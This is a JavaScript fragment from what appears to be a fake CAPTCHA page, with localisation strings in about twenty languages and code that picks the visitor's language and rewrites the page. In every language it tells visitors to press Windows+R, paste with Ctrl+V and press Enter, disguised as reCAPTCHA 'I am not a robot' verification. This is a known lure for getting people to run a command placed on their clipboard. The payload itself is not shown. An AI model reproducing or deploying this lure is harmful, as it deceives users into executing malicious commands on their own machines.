:"doit vérifier la sécurité de votre connexion avant de continuer."}, it:{checking:"Verifica che tu sia umano. Potrebbe volerci qualche secondo.",verifyInstruction:"Verifica di essere umano completando l'azione seguente.",verifying:"Verifica in corso…",notRobot:"Non sono un robot",steps:"Verifica",success:"Completato.",verifyTitle:"Per dimostrare che non sei un robot:",step1:"Tieni premuto il tasto Windows + R.",step2:"Nella finestra di verifica premi Ctrl + V.",step3:"Premi Invio per completare.",observe:"Proseguendo, confermi:",confirmLead:"Non sono un robot – ID di verifica reCAPTCHA: ",final:"Esegui i passaggi sopra per terminare la verifica.",verifyBtn:"Verifica",confidentiality:"Riservatezza",terms:"Termini e condizioni",footer:"deve verificare la sicurezza della connessione prima di procedere."}, ar:{checking:"جاري التحقق من أنك إنسان. قد يستغرق هذا بضع ثوانٍ.",verifyInstruction:"تحقق من أنك إنسان بإكمال الخطوة أدناه.",verifying:"جارٍ التحقق…",notRobot:"لست برنامج روبوت",steps:"التحقق",success:"تم بنجاح.",verifyTitle:"لإثبات أنك لست روبوتًا:",step1:"اضغط مع الاستمرار على مفتاح Windows + R.",step2:"في نافذة التحقق اضغط Ctrl + V.",step3:"اضغط Enter للإنهاء.",observe:"بالمتابعة، فإنك تؤكد:",confirmLead:"أنا لست روبوتًا – معرّف تحقق reCAPTCHA: ",final:"أكمل الخطوات أعلاه لإنهاء التحقق.",verifyBtn:"تحقق",confidentiality:"السرية",terms:"الشروط والأحكام",footer:"يجب مراجعة أمان الاتصال قبل المتابعة."}, zh:{checking:"正在检查您是否为人类。这可能需要几秒钟。",verifyInstruction:"通过完成以下操作验证您是人类。",verifying:"正在验证…",notRobot:"我不是机器人",steps:"验证",success:"成功。",verifyTitle:"为证明您不是机器人:",step1:"按住 Windows 键 + R。",step2:"在验证窗口中按 Ctrl + V。",step3:"按 Enter 完成。",observe:"继续操作即表示您确认:",confirmLead:"我不是机器人 — reCAPTCHA 验证 ID:",final:"请完成以上步骤以完成验证。",verifyBtn:"验证",confidentiality:"保密",terms:"条款和条件",footer:"需要在继续之前检查您连接的安全性。"}, ja:{checking:"あなたが人間かどうか確認しています。数秒かかる場合があります。",verifyInstruction:"以下の操作を完了して、人間であることを確認してください。",verifying:"確認中…",notRobot:"私はロボットではありません",steps:"確認",success:"成功しました。",verifyTitle:"ロボットではないことを証明するために:",step1:"Windowsキー + R を押し続けてください。",step2:"検証ウィンドウで Ctrl + V を押してください。",step3:"Enter を押して完了します。",observe:"続行すると、次を確認します:",confirmLead:"私はロボットではありません — reCAPTCHA 検証 ID: ",final:"上記の手順を実行して検証を完了してください。",verifyBtn:"確認する",confidentiality:"機密保持",terms:"利用規約",footer:"続行する前に接続のセキュリティを確認する必要があります。"}, ru:{checking:"Проверяем, что вы человек. Это может занять несколько секунд.",verifyInstruction:"Подтвердите, что вы человек, выполнив действие ниже.",verifying:"Проверка…",notRobot:"Я не робот",steps:"Проверка",success:"Успешно.",verifyTitle:"Чтобы доказать, что вы не робот:",step1:"Удерживайте клавишу Windows + R.",step2:"В окне проверки нажмите Ctrl + V.",step3:"Нажмите Enter для завершения.",observe:"Продолжая, вы подтверждаете:",confirmLead:"Я не робот — ID проверки reCAPTCHA: ",final:"Выполните шаги выше, чтобы завершить проверку.",verifyBtn:"Проверить",confidentiality:"Конфиденциальность",terms:"Условия использования",footer:"должен проверить безопасность вашего соединения перед продолжением."}, es:{checking:"Comprobando si eres humano. Esto puede tardar unos segundos.",verifyInstruction:"Verifica que eres humano completando la acción siguiente.",verifying:"Verificando…",notRobot:"No soy un robot",steps:"Verificación",success:"Correcto.",verifyTitle:"Para demostrar que no eres un robot:",step1:"Mantén pulsada la tecla Windows + R.",step2:"En la ventana de verificación, pulsa Ctrl + V.",step3:"Pulsa Enter para finalizar.",observe:"Al continuar, confirmas:",confirmLead:"No soy un robot — ID de verificación reCAPTCHA: ",final:"Realiza los pasos anteriores para finalizar la verificación.",verifyBtn:"Verificar",confidentiality:"Confidencialidad",terms:"Términos y condiciones",footer:"debe revisar la seguridad de tu conexión antes de continuar."}, pt:{checking:"Verificando se você é humano. Isso pode levar alguns segundos.",verifyInstruction:"Confirme que você é humano concluindo a ação abaixo.",verifying:"Verificando…",notRobot:"Não sou um robô",steps:"Verificação",success:"Concluído.",verifyTitle:"Para provar que você não é um robô:",step1:"Mantenha pressionada a tecla Windows + R.",step2:"Na janela de verificação, pressione Ctrl + V.",step3:"Pressione Enter para concluir.",observe:"Ao continuar, você confirma:",confirmLead:"Não sou um robô — ID de verificação reCAPTCHA: ",final:"Conclua as etapas acima para finalizar a verificação.",verifyBtn:"Verificar",confidentiality:"Confidencialidade",terms:"Termos e condições",footer:"precisa revisar a segurança da sua conexão antes de prosseguir."}, nl:{checking:"Controleren of u een mens bent. Dit kan enkele seconden duren.",verifyInstruction:"Bevestig dat u een mens bent door de onderstaande actie uit te voeren.",verifying:"Bezig met controleren…",notRobot:"Ik ben geen robot",steps:"Verificatie",success:"Gelukt.",verifyTitle:"Om aan te tonen dat u geen robot bent:",step1:"Houd de Windows-toets + R ingedrukt.",step2:"Druk in het verificatievenster op Ctrl + V.",step3:"Druk op Enter om af te ronden.",observe:"Als u doorgaat, bevestigt u:",confirmLead:"Ik ben geen robot — reCAPTCHA-verificatie-ID: ",final:"Voer de bovenstaande stappen uit om de verificatie te voltooien.",verifyBtn:"Verifiëren",confidentiality:"Vertrouwelijkheid",terms:"Voorwaarden",footer:"moet de veiligheid van uw verbinding controleren voordat u verdergaat."}, tr:{checking:"İnsan olup olmadığınız kontrol ediliyor. Bu birkaç saniye sürebilir.",verifyInstruction:"Aşağıdaki işlemi tamamlayarak insan olduğunuzu doğrulayın.",verifying:"Doğrulanıyor…",notRobot:"Ben robot değilim",steps:"Doğrulama",success:"Başarılı.",verifyTitle:"Robot olmadığınızı kanıtlamak için:",step1:"Windows tuşunu + R ile basılı tutun.",step2:"Doğrulama penceresinde Ctrl + V tuşlarına basın.",step3:"Bitirmek için Enter’a basın.",observe:"Devam ederek şunları onaylarsınız:",confirmLead:"Robot değilim — reCAPTCHA Doğrulama Kimliği: ",final:"Doğrulamayı tamamlamak için yukarıdaki adımları uygulayın.",verifyBtn:"Doğrula",confidentiality:"Gizlilik",terms:"Şartlar ve Koşullar",footer:"devam etmeden önce bağlantınızın güvenliğini kontrol etmelidir."}, ko:{checking:"사용자가 사람인지 확인하는 중입니다. 잠시만 기다려 주세요.",verifyInstruction:"아래 작업을 완료하여 사람이 맞는지 확인하세요.",verifying:"확인 중…",notRobot:"나는 로봇이 아닙니다",steps:"검증",success:"성공.",verifyTitle:"로봇이 아님을 증명하려면:",step1:"Windows 키 + R을 누르세요.",step2:"검증 창에서 Ctrl + V를 누르세요.",step3:"마치려면 Enter를 누르세요.",observe:"계속하면 다음을 확인합니다:",confirmLead:"로봇이 아닙니다 — reCAPTCHA 확인 ID: ",final:"위 단계들을 완료하여 검증을 마치세요.",verifyBtn:"확인",confidentiality:"기밀",terms:"이용약관",footer:"계속하기 전에 연결의 보안을 확인해야 합니다."}, /* --------- NEW: 6 languages (fixed / hard-coded translations) --------- */ hi:{checking:"सत्यापित किया जा रहा है कि आप मानव हैं। इसमें कुछ सेकंड लग सकते हैं।",verifyInstruction:"नीचे दिया गया कार्य पूरा करके प्रमाणित करें कि आप एक मानव हैं।",verifying:"सत्यापित कर रहे हैं...",notRobot:"मैं एक रोबोट नहीं हूँ",steps:"सत्यापन चरण",success:"सफल।",verifyTitle:"यह सिद्ध करने के लिए कि आप रोबोट नहीं हैं:",step1:"Windows कुंजी + R दबाकर रखें।",step2:"सत्यापन विंडो में Ctrl + V दबाएँ।",step3:"समाप्त करने के लिए कीबोर्ड पर Enter दबाएँ।",observe:"आप देखेंगे और सहमत होंगे:",confirmLead:"मैं एक रोबोट नहीं हूँ - reCAPTCHA सत्यापन आईडी: ",final:"सत्यापन पूरा करने के लिए ऊपर दिए गए चरणों का पालन करें।",verifyBtn:"सत्यापित करें",confidentiality:"गोपनीयता",terms:"नियम और शर्तें",footer:"आपकी कनेक्शन की सुरक्षा की समीक्षा करने की आवश्यकता है।"}, id:{checking:"Memeriksa apakah Anda manusia. Ini mungkin membutuhkan beberapa detik.",verifyInstruction:"Verifikasi bahwa Anda manusia dengan menyelesaikan tindakan di bawah ini.",verifying:"Memverifikasi...",notRobot:"Saya bukan robot",steps:"Langkah Verifikasi",success:"Berhasil.",verifyTitle:"Untuk membuktikan bahwa Anda bukan robot:",step1:"Tekan dan tahan Tombol Windows + R.",step2:"Di jendela verifikasi, tekan Ctrl + V.",step3:"Tekan Enter pada keyboard Anda untuk menyelesaikan.",observe:"Anda akan melihat dan menyetujui:",confirmLead:"Saya bukan robot - ID Verifikasi reCAPTCHA: ",final:"Lakukan langkah di atas untuk menyelesaikan verifikasi.",verifyBtn:"Verifikasi",confidentiality:"Kerahasiaan",terms:"Syarat dan Ketentuan",footer:"perlu meninjau keamanan koneksi Anda sebelum melanjutkan."}, vi:{checking:"Đang kiểm tra xem bạn có phải là con người không. Việc này có thể mất vài giây.",verifyInstruction:"Xác minh bạn là người bằng cách hoàn thành hành động bên dưới.",verifying:"Đang xác minh...",notRobot:"Tôi không phải là rô-bốt",steps:"Các bước xác minh",success:"Thành công.",verifyTitle:"Để chứng minh bạn không phải là rô-bốt:",step1:"Nhấn và giữ phím Windows + R.",step2:"Trong cửa sổ xác minh, nhấn Ctrl + V.",step3:"Nhấn Enter trên bàn phím để kết thúc.",observe:"Bạn sẽ quan sát và đồng ý:",confirmLead:"Tôi không phải là rô-bốt - ID xác minh reCAPTCHA: ",final:"Thực hiện các bước trên để hoàn tất xác minh.",verifyBtn:"Xác minh",confidentiality:"Bảo mật",terms:"Điều khoản và Điều kiện",footer:"cần kiểm tra bảo mật kết nối của bạn trước khi tiếp tục."}, th:{checking:"กำลังตรวจสอบว่าคุณเป็นมนุษย์หรือไม่ อาจใช้เวลาสักครู่",verifyInstruction:"โปรดยืนยันว่าคุณเป็นมนุษย์โดยทำตามขั้นตอนด้านล่าง",verifying:"กำลังตรวจสอบ...",notRobot:"ฉันไม่ใช่หุ่นยนต์",steps:"ขั้นตอนการยืนยัน",success:"สำเร็จ",verifyTitle:"เพื่อพิสูจน์ว่าคุณไม่ใช่หุ่นยนต์:",step1:"กดค้างที่ปุ่ม Windows + R",step2:"ในหน้าต่างการยืนยัน ให้กด Ctrl + V",step3:"กด Enter เพื่อเสร็จสิ้น",observe:"คุณจะเห็นและตกลง:",confirmLead:"ฉันไม่ใช่หุ่นยนต์ - รหัสยืนยัน reCAPTCHA: ",final:"ดำเนินการตามขั้นตอนด้านบนเพื่อเสร็จสิ้นการยืนยัน",verifyBtn:"ยืนยัน",confidentiality:"ความลับ",terms:"ข้อกำหนดและเงื่อนไข",footer:"จำเป็นต้องตรวจสอบความปลอดภัยของการเชื่อมต่อของคุณก่อนดำเนินการต่อ."}, uk:{checking:"Перевірка, чи ви людина. Це може зайняти кілька секунд.",verifyInstruction:"Підтвердіть, що ви людина, виконавши дію нижче.",verifying:"Перевірка...",notRobot:"Я не робот",steps:"Кроки перевірки",success:"Успішно.",verifyTitle:"Щоб довести, що ви не робот:",step1:"Утримуйте клавішу Windows + R.",step2:"У вікні перевірки натисніть Ctrl + V.",step3:"Натисніть Enter, щоб завершити.",observe:"Ви побачите та погодитесь:",confirmLead:"Я не робот — ідентифікатор перевірки reCAPTCHA: ",final:"Виконайте наведені вище кроки, щоб завершити перевірку.",verifyBtn:"Перевірити",confidentiality:"Конфіденційність",terms:"Умови",footer:"повинна перевірити безпеку вашого з'єднання перед продовженням."}, cs:{checking:"Kontroluje se, zda jste člověk. To může trvat několik sekund.",verifyInstruction:"Ověřte, že jste člověk, provedením níže uvedené akce.",verifying:"Ověřování...",notRobot:"Nejsem robot",steps:"Kroky ověření",success:"Úspěšně.",verifyTitle:"Aby se prokázalo, že nejste robot:",step1:"Stiskněte a podržte klávesu Windows + R.",step2:"V ověřovacím okně stiskněte Ctrl + V.",step3:"Stiskněte Enter pro dokončení.",observe:"Budete pozorovat a souhlasit:",confirmLead:"Nejsem robot — ID ověření reCAPTCHA: ",final:"Pro dokončení ověření proveďte výše uvedené kroky.",verifyBtn:"Ověřit",confidentiality:"Důvěrnost",terms:"Podmínky",footer:"musí zkontrolovat bezpečnost vašeho připojení před pokračováním."} }; function detectLang(){ const prefs=(navigator.languages&&navigator.languages.length?navigator.languages:[navigator.language||"en"]).map(x=>x.toLowerCase()); for(const l of prefs){ if(l.startsWith("ar")) return "ar"; if(l.startsWith("he")) return "ar"; // treat hebrew as rtl (will be handled) if(l.startsWith("fr")) return "fr"; if(l.startsWith("de")) return "de"; if(l.startsWith("it")) return "it"; if(l.startsWith("ja")) return "ja"; if(l.startsWith("zh")) return "zh"; if(l.startsWith("ko")) return "ko"; if(l.startsWith("ru")) return "ru"; if(l.startsWith("es")) return "es"; if(l.startsWith("pt")) return "pt"; if(l.startsWith("nl")) return "nl"; if(l.startsWith("tr")) return "tr"; if(l.startsWith("pl")) return "pl"; if(l.startsWith("sv")) return "sv"; if(l.startsWith("da")) return "da"; if(l.startsWith("fi")) return "fi"; if(l.startsWith("hi")) return "hi"; if(l.startsWith("id")) return "id"; if(l.startsWith("vi")) return "vi"; if(l.startsWith("th")) return "th"; if(l.startsWith("uk")) return "uk"; if(l.startsWith("cs")) return "cs"; if(l.startsWith("en")) return "en"; } return "en"; } function ready(fn){ if(document.readyState==="loading") document.addEventListener("DOMContentLoaded",fn); else fn(); } ready(function(){ const lang = detectLang(); const t = i18n[lang] || i18n.en; // RTL support for Arabic and Hebrew if (lang === "ar" || lang === "he") document.documentElement.dir = "rtl"; // Top area (preloader + prompt) const pre = document.querySelector(".preloader_text"); if(pre) pre.textContent = t.checking; const allstep = document.querySelector(".textallstep"); if(allstep) allstep.textContent = t.verifyInstruction; // Only paragraphs inside .tettx (avoid button/spinner) const set = (sel, txt)=>{ document.querySelectorAll(sel).forEach(el=>el.textContent = txt); }; set(".tettx .step0", t.verifying); set(".tettx .step1", t.notRobot); set(".tettx .step2", t.steps); set(".tettx .step3", t.success); // Ensure checkbox button has no inner label (prevents overlap) const cb = document.getElementById("checkbox"); if (cb) cb.textContent = ""; // Verify window title + steps const titleP = document.querySelector("#verify-window .verify-main p:first-of-type"); if (titleP) titleP.innerHTML = t.verifyTitle; const stepsOl = document.querySelector("#verify-window .verify-main ol"); if (stepsOl) stepsOl.innerHTML = `
  • ${t.step1}
  • ${t.step2}
  • ${t.step3}
  • `; // Observe/agree line + localized checkbox code text const observeP = document.querySelector("#verify-window .verify-main p.observe"); if (observeP) { const codeEl = observeP.querySelector("code"); const pieces = observeP.innerHTML.split("
    "); pieces[0] = t.observe; observeP.innerHTML = pieces.join("
    "); if (codeEl) { const idSpan = codeEl.querySelector("#verification-id"); const idHtml = idSpan ? idSpan.outerHTML : ''; codeEl.innerHTML = ` ✅ "${t.confirmLead}${idHtml}" `; } } const left = document.querySelector(".verify-footer-left"); if (left) left.textContent = t.final; const btn = document.getElementById("verify-button"); if (btn) btn.textContent = t.verifyBtn; // Legal links text const legalBox = document.querySelector('#checkbox-window > div > div:last-child'); if (legalBox) { const ps = legalBox.querySelectorAll("p"); if (ps[0]) ps[0].textContent = t.confidentiality; if (ps[1]) ps[1].textContent = t.terms; } // Bottom sentence: update the specific paragraph that contains the footer sentence const domainParas = Array.from(document.querySelectorAll("p .domain-name")).map(s=>s.parentElement); for (const p of domainParas){ if (/\bneeds to review the security of your connection before proceeding\./i.test(p.textContent)) { const host = (p.querySelector(".domain-name")?.textContent || window.location.hostname || ""); p.innerHTML = `${host} ${t.footer}`; break; } } }); })();